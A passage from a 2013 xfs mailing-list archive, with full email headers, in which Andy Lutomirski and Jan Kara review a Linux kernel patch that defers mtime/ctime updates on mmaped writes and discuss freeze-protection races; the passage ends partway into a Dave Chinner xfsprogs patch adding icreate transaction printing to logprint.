JHepo2DT+I1WDmZcj7xJoUWHW53kvQh+h5011NfQfopZr3IWqtSNu0NHTdtSkvsmYugF CF4qECTW8NyR8myZSnlwoGqZOFzupz4J3Mm2ogI7TRtohD7UF22a8KIZnhkQ6hXJYZ5/ NZgw== X-Gm-Message-State: ALoCoQlYWGz7PoUgubxJ93+iUt9h5j5USSvqZiZbM6tUtE2voEgccEuTC/zW24z5larTymBBP2+6 X-Received: by 10.58.155.37 with SMTP id vt5mr897845veb.41.1378316023040; Wed, 04 Sep 2013 10:33:43 -0700 (PDT) MIME-Version: 1.0 Received: by 10.58.218.170 with HTTP; Wed, 4 Sep 2013 10:33:22 -0700 (PDT) In-Reply-To: <20130904150854.GF3996@quack.suse.cz> References: <20130904150854.GF3996@quack.suse.cz> From: Andy Lutomirski Date: Wed, 4 Sep 2013 10:33:22 -0700 Message-ID: Subject: Re: [PATCH v3 0/5] Rework mtime and ctime updates on mmaped writes To: Jan Kara X-ASG-Orig-Subj: Re: [PATCH v3 0/5] Rework mtime and ctime updates on mmaped writes Cc: "linux-kernel@vger.kernel.org" , "linux-ext4@vger.kernel.org" , Dave Chinner , "Theodore Ts'o" , Dave Hansen , xfs@oss.sgi.com, Tim Chen , Christoph Hellwig Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-vc0-f170.google.com[209.85.220.170] X-Barracuda-Start-Time: 1378316023 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140330 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 4, 2013 at 8:08 AM, Jan Kara wrote: > On Thu 22-08-13 17:03:16, Andy Lutomirski wrote: >> Writes via mmap currently update mtime and ctime in ->page_mkwrite. >> This hurts both throughput and latency. In workloads that dirty a >> large number of mmapped pages, ->page_mkwrite can be hot and >> file_update_time is slow and scales poorly. Updating timestamps can >> also sleep, which hurts latency for real-time workloads. > It would help to make your case if you posted the latency comparison > before & after the patchset in this introductory email. We can then see > how significant is the reduction of latency... Will do, although the data from my workload will be a little strange. I was hoping that Dave Hansen would re-run his benchmark with these patches applied. I tried to run it, but it wasn't obvious what the numbers that spewed out meant. --Andy > > Honza > -- > Jan Kara > SUSE Labs, CR -- Andy Lutomirski AMA Capital Management, LLC From luto@amacapital.net Wed Sep 4 12:55:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0DD4D7F53 for ; Wed, 4 Sep 2013 12:55:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 82E95AC006 for ; Wed, 4 Sep 2013 10:55:12 -0700 (PDT) X-ASG-Debug-ID: 1378317310-04cb6c153dd4bad0001-NocioJ Received: from mail-vc0-f169.google.com (mail-vc0-f169.google.com [209.85.220.169]) by cuda.sgi.com with ESMTP id WsedBlJPagVw1VyH (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 04 Sep 2013 10:55:10 -0700 (PDT) X-Barracuda-Envelope-From: luto@amacapital.net X-Barracuda-Apparent-Source-IP: 209.85.220.169 Received: by mail-vc0-f169.google.com with SMTP id ib11so403709vcb.14 for ; Wed, 04 Sep 2013 10:55:10 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=4Xze2AocIE0x9wjz+JyQYMKhIu0Wg6DEVhLQ1Q+6td8=; b=gMAF6Q6H+dM3p7CmNpIvRv1zRemuHftG3ra11V8sCitaP8vKB1kQChM5i6xrviUk6Y z68E+Qn7YnHVBsWO9YAy6Qf797gPEctzrLwELwqm+4EbovGjAxrIqCzLgdJ/xEzEpDai vB3Rapj5M+NWeYmWjNz7VPplLguydeYF+bbaBfycbeteJ4y/zEOaZcQpj3YVs7BJPZIf i5AifKInkL0bvluN4FkZ0nItHh/DCBwbpaWFBe7n5DlIxgangIat/fF2JVkn2VR5HhdJ MYCbjHPlcfPiP7OVajmzJXxRONDW1cFdrL/zZLlhnJ8NcxJI3Cnvs5d8Sk70h4uc1S5G Wy2w== X-Gm-Message-State: ALoCoQkfYhEnPegps1o/w8kUz9QPHANl2abXahSWmxKhBznHmrwgz1HfZLKhimVu/EXFdAQywZRu X-Received: by 10.58.219.68 with SMTP id pm4mr76484vec.49.1378317310288; Wed, 04 Sep 2013 10:55:10 -0700 (PDT) MIME-Version: 1.0 Received: by 10.58.218.170 with HTTP; Wed, 4 Sep 2013 10:54:50 -0700 (PDT) In-Reply-To: <20130904145740.GE3996@quack.suse.cz> References: <20130904145740.GE3996@quack.suse.cz> From: Andy Lutomirski Date: Wed, 4 Sep 2013 10:54:50 -0700 Message-ID: Subject: Re: [PATCH v4 3/7] mm: Allow filesystems to defer cmtime updates To: Jan Kara X-ASG-Orig-Subj: Re: [PATCH v4 3/7] mm: Allow filesystems to defer cmtime updates Cc: "linux-kernel@vger.kernel.org" , "linux-ext4@vger.kernel.org" , Dave Chinner , "Theodore Ts'o" , Dave Hansen , xfs@oss.sgi.com, Tim Chen , Christoph Hellwig Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-vc0-f169.google.com[209.85.220.169] X-Barracuda-Start-Time: 1378317310 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140332 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 4, 2013 at 7:57 AM, Jan Kara wrote: > On Thu 22-08-13 17:03:19, Andy Lutomirski wrote: >> Filesystems that defer cmtime updates should update cmtime when any >> of these events happen after a write via a mapping: >> >> - The mapping is written back to disk. This happens from all kinds >> of places, most of which eventually call ->writepages. (The >> exceptions are vmscan and migration.) >> >> - munmap is called or the mapping is removed when the process exits >> >> - msync(MS_ASYNC) is called. Linux currently does nothing for >> msync(MS_ASYNC), but POSIX says that cmtime should be updated some >> time between an mmaped write and the subsequent msync call. >> MS_SYNC calls ->writepages, but MS_ASYNC needs special handling. >> >> Filesystems are responsible for checking for pending deferred cmtime >> updates in .writepages (a helper is provided for this purpose) and >> for doing the actual update in .update_cmtime_deferred. >> >> These changes have no effect by themselves; filesystems must opt in >> by implementing .update_cmtime_deferred and removing any >> file_update_time call in .page_mkwrite. >> >> This patch does not implement the MS_ASYNC case; that's in the next >> patch. >> >> Signed-off-by: Andy Lutomirski > ... >> +/** >> + * generic_update_cmtime_deferred - update cmtime after an mmapped write >> + * @mapping: The mapping >> + * >> + * This library function implements .update_cmtime_deferred. It is unlikely >> + * that any filesystem will want to do anything here except update the time >> + * (using this helper) or nothing at all (by leaving .update_cmtime_deferred >> + * NULL). >> + */ >> +void generic_update_cmtime_deferred(struct address_space *mapping) >> +{ >> + struct blk_plug plug; >> + blk_start_plug(&plug); >> + inode_update_time_writable(mapping->host); >> + blk_finish_plug(&plug); >> +} >> +EXPORT_SYMBOL(generic_update_cmtime_deferred); >> + > You can remove the pluggin here. Inode update will likely result in a > single write so there's no point. > >> @@ -1970,6 +1988,39 @@ int write_one_page(struct page *page, int wait) >> } >> EXPORT_SYMBOL(write_one_page); >> >> +void mapping_flush_cmtime(struct address_space *mapping) >> +{ >> + if (mapping_test_clear_cmtime(mapping) && >> + mapping->a_ops->update_cmtime_deferred) >> + mapping->a_ops->update_cmtime_deferred(mapping); >> +} >> +EXPORT_SYMBOL(mapping_flush_cmtime); > Hum, is there a reason for update_cmtime_deferred() operation? I can > hardly imagine anyone will want to do anything else than what > inode_update_time_writable() does so why bother? You mention tmpfs & co. > don't fit into your scheme well with which I agree so let's just keep > file_update_time() in their page_mkwrite() operation. But I don't see a > real need for avoiding the deferred cmtime logic... I think there might be odd corner cases. For example, mmap a tmpfs file, write it, and unmap it. Then, an hour later, maybe the system will be under memory pressure and page out the file. This could trigger a surprising time update. (I'm not sure this can actually happen on tmpfs, but maybe it would on some other filesystem.) Does this actually matter? A flag to turn the feature on or off would do the trick, but I don't think there's precedent for sticking a flag in a_ops. > >> + >> +void mapping_flush_cmtime_nowb(struct address_space *mapping) >> +{ >> + /* >> + * We get called from munmap and msync. Both calls can race >> + * with fs freezing. If the fs is frozen after >> + * mapping_test_clear_cmtime but before the time update, then >> + * sync_filesystem will miss the cmtime update (because we >> + * just cleared it) and we don't be able to write (because the >> + * fs is frozen). On the other hand, we can't just return if >> + * we're in the SB_FREEZE_PAGEFAULT state because our caller >> + * expects the timestamp to be synchronously updated. So we >> + * get write access without blocking, at the SB_FREEZE_FS >> + * level. If the fs is already fully frozen, then we already >> + * know we have nothing to do. >> + */ >> + >> + if (!mapping_test_cmtime(mapping)) >> + return; /* Optimization: nothing to do. */ >> + >> + if (__sb_start_write(mapping->host->i_sb, SB_FREEZE_FS, false)) { >> + mapping_flush_cmtime(mapping); >> + __sb_end_write(mapping->host->i_sb, SB_FREEZE_FS); >> + } >> +} > This is wrong because SB_FREEZE_FS level is targetted for filesystem > internal use. Also it is racy. mapping_flush_cmtime() ends up calling > mark_inode_dirty() and filesystems such as ext4 or xfs will start a > transaction to store inode in the journal. This gets freeze protection at > SB_FREEZE_FS level again. If freeze_super() sets s_writers.frozen to > SB_FREEZE_FS before this second protection, things will deadlock. Whoops -- I assumed that it was safe to recursively take freeze protection at the same level. I'm worried about the following race: Thread 1 (in munmap): Check AS_CMTIME set sb_start_pagefault Thread 2 (freezing the fs): frozen = SB_FREEZE_PAGEFAULT; sync_filesystem() Thread 1 is now stuck. It doesn't need to be, because sync_filesystem will flush out the cmtime write. But there doesn't seem to be a clean mechanism to wait for the freeze to finish. Is there a clean way to avoid this? I don't want to return immediately if a freeze is in progress, because userspace expects that munmap will update cmtime synchronously. And ugly but simple solution is: if (!mapping_test_cmtime(mapping)) return; /* Optimization: nothing to do. */ if (__sb_start_write(mapping->host->i_sb, SB_FREEZE_FS, false)) { mapping_flush_cmtime(mapping); __sb_end_write(mapping->host->i_sb, SB_FREEZE_FS); } else { /* Freeze is or was in progress. The part of freezing from SB_FREEZE_PAGEFAULT through sync_filesystem holds s_umount for write, so we can wait for it to finish by taking s_umount for read. */ down_read(&sb->s_umount); up_read(&sb->s_umount); } --Andy > > Since the callers of this function hold mmap_sem, using SB_FREEZE_PAGEFAULT > protection would be appropriate. Also since there are just two places that > need the freeze protection I'd be inclined to open code the protection in > the two places rather than hiding it in a special function. Given that this is rather subtle (I've gotten it wrong multiple times), I'd rather leave it in one place and comment it well. --Andy From jack@suse.cz Wed Sep 4 14:20:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 664937F53 for ; Wed, 4 Sep 2013 14:20:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0F6DDAC005 for ; Wed, 4 Sep 2013 12:20:56 -0700 (PDT) X-ASG-Debug-ID: 1378322451-04bdf02f22d7ca80001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id VlzqvkW3p5iFfk29 for ; Wed, 04 Sep 2013 12:20:52 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id B48F3A51CB; Wed, 4 Sep 2013 21:20:50 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 79FED80E0A; Wed, 4 Sep 2013 21:20:48 +0200 (CEST) Date: Wed, 4 Sep 2013 21:20:48 +0200 From: Jan Kara To: Andy Lutomirski Cc: Jan Kara , "linux-kernel@vger.kernel.org" , "linux-ext4@vger.kernel.org" , Dave Chinner , Theodore Ts'o , Dave Hansen , xfs@oss.sgi.com, Tim Chen , Christoph Hellwig Subject: Re: [PATCH v4 3/7] mm: Allow filesystems to defer cmtime updates Message-ID: <20130904192048.GM3996@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH v4 3/7] mm: Allow filesystems to defer cmtime updates References: <20130904145740.GE3996@quack.suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378322451 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140338 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed 04-09-13 10:54:50, Andy Lutomirski wrote: > >> @@ -1970,6 +1988,39 @@ int write_one_page(struct page *page, int wait) > >> } > >> EXPORT_SYMBOL(write_one_page); > >> > >> +void mapping_flush_cmtime(struct address_space *mapping) > >> +{ > >> + if (mapping_test_clear_cmtime(mapping) && > >> + mapping->a_ops->update_cmtime_deferred) > >> + mapping->a_ops->update_cmtime_deferred(mapping); > >> +} > >> +EXPORT_SYMBOL(mapping_flush_cmtime); > > Hum, is there a reason for update_cmtime_deferred() operation? I can > > hardly imagine anyone will want to do anything else than what > > inode_update_time_writable() does so why bother? You mention tmpfs & co. > > don't fit into your scheme well with which I agree so let's just keep > > file_update_time() in their page_mkwrite() operation. But I don't see a > > real need for avoiding the deferred cmtime logic... > > I think there might be odd corner cases. For example, mmap a tmpfs > file, write it, and unmap it. Then, an hour later, maybe the system If you unmap it then that will handle the update. But if you won't unmap, you'd get spurious updates of timestamps which would be strange. > will be under memory pressure and page out the file. This could > trigger a surprising time update. (I'm not sure this can actually > happen on tmpfs, but maybe it would on some other filesystem.) > > Does this actually matter? A flag to turn the feature on or off would > do the trick, but I don't think there's precedent for sticking a flag > in a_ops. Flag in a_ops is ugly. But you can have a flag in 'struct filesystem_type' which would be reasonable. > >> +void mapping_flush_cmtime_nowb(struct address_space *mapping) > >> +{ > >> + /* > >> + * We get called from munmap and msync. Both calls can race > >> + * with fs freezing. If the fs is frozen after > >> + * mapping_test_clear_cmtime but before the time update, then > >> + * sync_filesystem will miss the cmtime update (because we > >> + * just cleared it) and we don't be able to write (because the > >> + * fs is frozen). On the other hand, we can't just return if > >> + * we're in the SB_FREEZE_PAGEFAULT state because our caller > >> + * expects the timestamp to be synchronously updated. So we > >> + * get write access without blocking, at the SB_FREEZE_FS > >> + * level. If the fs is already fully frozen, then we already > >> + * know we have nothing to do. > >> + */ > >> + > >> + if (!mapping_test_cmtime(mapping)) > >> + return; /* Optimization: nothing to do. */ > >> + > >> + if (__sb_start_write(mapping->host->i_sb, SB_FREEZE_FS, false)) { > >> + mapping_flush_cmtime(mapping); > >> + __sb_end_write(mapping->host->i_sb, SB_FREEZE_FS); > >> + } > >> +} > > This is wrong because SB_FREEZE_FS level is targetted for filesystem > > internal use. Also it is racy. mapping_flush_cmtime() ends up calling > > mark_inode_dirty() and filesystems such as ext4 or xfs will start a > > transaction to store inode in the journal. This gets freeze protection at > > SB_FREEZE_FS level again. If freeze_super() sets s_writers.frozen to > > SB_FREEZE_FS before this second protection, things will deadlock. > > Whoops -- I assumed that it was safe to recursively take freeze > protection at the same level. > > I'm worried about the following race: > > Thread 1 (in munmap): > Check AS_CMTIME set > sb_start_pagefault > > Thread 2 (freezing the fs): > frozen = SB_FREEZE_PAGEFAULT; > sync_filesystem() > > Thread 1 is now stuck. It doesn't need to be, because sync_filesystem > will flush out the cmtime write. But there doesn't seem to be a clean > mechanism to wait for the freeze to finish. OK, I see. Frankly, I'd rather live with msync() and munmap() blocking while filesystem is frozen than trying to outsmart the freezing logic... If someone comes up with a usecase where it causes trouble, we can always improve the logic with some clever tricks. > Is there a clean way to avoid this? I don't want to return > immediately if a freeze is in progress, because userspace expects that > munmap will update cmtime synchronously. > > And ugly but simple solution is: > > if (!mapping_test_cmtime(mapping)) > return; /* Optimization: nothing to do. */ > > if (__sb_start_write(mapping->host->i_sb, SB_FREEZE_FS, false)) { > mapping_flush_cmtime(mapping); > __sb_end_write(mapping->host->i_sb, SB_FREEZE_FS); > } else { > /* Freeze is or was in progress. The part of freezing from > SB_FREEZE_PAGEFAULT through sync_filesystem holds s_umount for write, > so we can wait for it to finish by taking s_umount for read. */ > down_read(&sb->s_umount); > up_read(&sb->s_umount); > } Yes, this would probably work but as I said above, I'd prefer the to keep it simple unless we have a good reason for the complex solution. Honza -- Jan Kara SUSE Labs, CR From luto@amacapital.net Wed Sep 4 15:05:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DDEB87F53 for ; Wed, 4 Sep 2013 15:05:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id BF879304067 for ; Wed, 4 Sep 2013 13:05:49 -0700 (PDT) X-ASG-Debug-ID: 1378325148-04cbb02c3ad483b0001-NocioJ Received: from mail-vc0-f179.google.com (mail-vc0-f179.google.com [209.85.220.179]) by cuda.sgi.com with ESMTP id ruidMCnibPwSDcAw (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 04 Sep 2013 13:05:48 -0700 (PDT) X-Barracuda-Envelope-From: luto@amacapital.net X-Barracuda-Apparent-Source-IP: 209.85.220.179 Received: by mail-vc0-f179.google.com with SMTP id ht10so500509vcb.38 for ; Wed, 04 Sep 2013 13:05:48 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=j+471vlk90FPzKnAVFn6V97l46xAl0wwmANd7JAVQxQ=; b=aRGF+bfJ3JzIBnwSPDpTjqws5FbfyTc2XSou1JzAMteFM6XpxvLpFGOC2kkvM/wqDV S8vJj63LoSFHdXxy9r5BOctsrQmJzvJ9FpmyNYh1T7MShjQqY7uC3I8leaTCs7KWrYGk Cvji7NElLDasE0Gqpb/F7rWZCxjN4nBWMQxQBwLS4hrxrzog/Q7/RWl6JuMP0VUk20+g D6xM+pP7c0ur6Y4CzRBuXjJKf6FeJJ0LFhg9vH/OPekIReFE07j+dYrssW7j+041p+KE unJHxKKTZoD38L+JvFSSquEBY4sxvgkxI46THKZFqllbWxbeFrfnO+H0NIdfN7G90S2J FkMw== X-Gm-Message-State: ALoCoQkGy4LbQdm81VZ6urVaVdA8vPEuySRybqCr2HmTAGx5EyonD1f9t7c7RREsibCHHdxEK1WZ X-Received: by 10.58.171.4 with SMTP id aq4mr2565491vec.26.1378325148011; Wed, 04 Sep 2013 13:05:48 -0700 (PDT) MIME-Version: 1.0 Received: by 10.58.218.170 with HTTP; Wed, 4 Sep 2013 13:05:27 -0700 (PDT) In-Reply-To: <20130904192048.GM3996@quack.suse.cz> References: <20130904145740.GE3996@quack.suse.cz> <20130904192048.GM3996@quack.suse.cz> From: Andy Lutomirski Date: Wed, 4 Sep 2013 13:05:27 -0700 Message-ID: Subject: Re: [PATCH v4 3/7] mm: Allow filesystems to defer cmtime updates To: Jan Kara X-ASG-Orig-Subj: Re: [PATCH v4 3/7] mm: Allow filesystems to defer cmtime updates Cc: "linux-kernel@vger.kernel.org" , "linux-ext4@vger.kernel.org" , Dave Chinner , "Theodore Ts'o" , Dave Hansen , xfs@oss.sgi.com, Tim Chen , Christoph Hellwig Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-vc0-f179.google.com[209.85.220.179] X-Barracuda-Start-Time: 1378325148 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140340 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 4, 2013 at 12:20 PM, Jan Kara wrote: > On Wed 04-09-13 10:54:50, Andy Lutomirski wrote: >> >> @@ -1970,6 +1988,39 @@ int write_one_page(struct page *page, int wait) >> >> } >> >> EXPORT_SYMBOL(write_one_page); >> >> >> >> +void mapping_flush_cmtime(struct address_space *mapping) >> >> +{ >> >> + if (mapping_test_clear_cmtime(mapping) && >> >> + mapping->a_ops->update_cmtime_deferred) >> >> + mapping->a_ops->update_cmtime_deferred(mapping); >> >> +} >> >> +EXPORT_SYMBOL(mapping_flush_cmtime); >> > Hum, is there a reason for update_cmtime_deferred() operation? I can >> > hardly imagine anyone will want to do anything else than what >> > inode_update_time_writable() does so why bother? You mention tmpfs & co. >> > don't fit into your scheme well with which I agree so let's just keep >> > file_update_time() in their page_mkwrite() operation. But I don't see a >> > real need for avoiding the deferred cmtime logic... >> >> I think there might be odd corner cases. For example, mmap a tmpfs >> file, write it, and unmap it. Then, an hour later, maybe the system > If you unmap it then that will handle the update. But if you won't unmap, > you'd get spurious updates of timestamps which would be strange. > >> will be under memory pressure and page out the file. This could >> trigger a surprising time update. (I'm not sure this can actually >> happen on tmpfs, but maybe it would on some other filesystem.) >> >> Does this actually matter? A flag to turn the feature on or off would >> do the trick, but I don't think there's precedent for sticking a flag >> in a_ops. > Flag in a_ops is ugly. But you can have a flag in 'struct > filesystem_type' which would be reasonable. OK, will do. > >> >> +void mapping_flush_cmtime_nowb(struct address_space *mapping) >> >> +{ >> >> + /* >> >> + * We get called from munmap and msync. Both calls can race >> >> + * with fs freezing. If the fs is frozen after >> >> + * mapping_test_clear_cmtime but before the time update, then >> >> + * sync_filesystem will miss the cmtime update (because we >> >> + * just cleared it) and we don't be able to write (because the >> >> + * fs is frozen). On the other hand, we can't just return if >> >> + * we're in the SB_FREEZE_PAGEFAULT state because our caller >> >> + * expects the timestamp to be synchronously updated. So we >> >> + * get write access without blocking, at the SB_FREEZE_FS >> >> + * level. If the fs is already fully frozen, then we already >> >> + * know we have nothing to do. >> >> + */ >> >> + >> >> + if (!mapping_test_cmtime(mapping)) >> >> + return; /* Optimization: nothing to do. */ >> >> + >> >> + if (__sb_start_write(mapping->host->i_sb, SB_FREEZE_FS, false)) { >> >> + mapping_flush_cmtime(mapping); >> >> + __sb_end_write(mapping->host->i_sb, SB_FREEZE_FS); >> >> + } >> >> +} >> > This is wrong because SB_FREEZE_FS level is targetted for filesystem >> > internal use. Also it is racy. mapping_flush_cmtime() ends up calling >> > mark_inode_dirty() and filesystems such as ext4 or xfs will start a >> > transaction to store inode in the journal. This gets freeze protection at >> > SB_FREEZE_FS level again. If freeze_super() sets s_writers.frozen to >> > SB_FREEZE_FS before this second protection, things will deadlock. >> >> Whoops -- I assumed that it was safe to recursively take freeze >> protection at the same level. >> >> I'm worried about the following race: >> >> Thread 1 (in munmap): >> Check AS_CMTIME set >> sb_start_pagefault >> >> Thread 2 (freezing the fs): >> frozen = SB_FREEZE_PAGEFAULT; >> sync_filesystem() >> >> Thread 1 is now stuck. It doesn't need to be, because sync_filesystem >> will flush out the cmtime write. But there doesn't seem to be a clean >> mechanism to wait for the freeze to finish. > OK, I see. Frankly, I'd rather live with msync() and munmap() blocking > while filesystem is frozen than trying to outsmart the freezing logic... > If someone comes up with a usecase where it causes trouble, we can always > improve the logic with some clever tricks. I'll at least check that it's a shared writable mapping before doing the flush to avoid blocking on other types of munmap. --Andy From dave@fromorbit.com Wed Sep 4 17:06:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 56C657F53 for ; Wed, 4 Sep 2013 17:06:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CB7CCAC002 for ; Wed, 4 Sep 2013 15:06:08 -0700 (PDT) X-ASG-Debug-ID: 1378332365-04cbb02c3cd4b110002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id qfOnSzPF5u7tX1Ay for ; Wed, 04 Sep 2013 15:06:07 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIACyuJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo9lAQDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:36:05 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cn-HP for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rM-Gn for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 03/55] xfsprogs: teach logprint about icreate transaction Date: Thu, 5 Sep 2013 08:05:07 +1000 X-ASG-Orig-Subj: [PATCH 03/55] xfsprogs: teach logprint about icreate transaction Message-Id: <1378332359-14737-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378332366 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140346 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- include/libxlog.h | 1 + logprint/log_misc.c | 36 ++++++++++++++++++++++++++++++++++++ logprint/log_print_all.c | 21 +++++++++++++++++++++ 3 files changed, 58 insertions(+) diff --git a/include/libxlog.h b/include/libxlog.h index bd71bfe..ff711e9 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -51,6 +51,7 @@ struct xlog { #include #include #include +#include typedef union { xlog_rec_header_t hic_header; diff --git a/logprint/log_misc.c b/logprint/log_misc.c index a369e72..623245e 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -70,6 +70,7 @@ char *trans_type[] = { "SWAPEXT", "SB_COUNT", "CHECKPOINT", + "ICREATE", }; typedef struct xlog_split_item { @@ -792,6 +793,35 @@ xlog_print_trans_dquot(xfs_caddr_t *ptr, int len, int *i, int num_ops) } /* xlog_print_trans_dquot */ +STATIC int +xlog_print_trans_icreate( + xfs_caddr_t *ptr, + int len, + int *i, + int num_ops) +{ + struct xfs_icreate_log icl_buf = {0}; + struct xfs_icreate_log *icl; + + memmove(&icl_buf, *ptr, MIN(sizeof(struct xfs_icreate_log), len)); + icl = &icl_buf; + (*i)++; + *ptr += 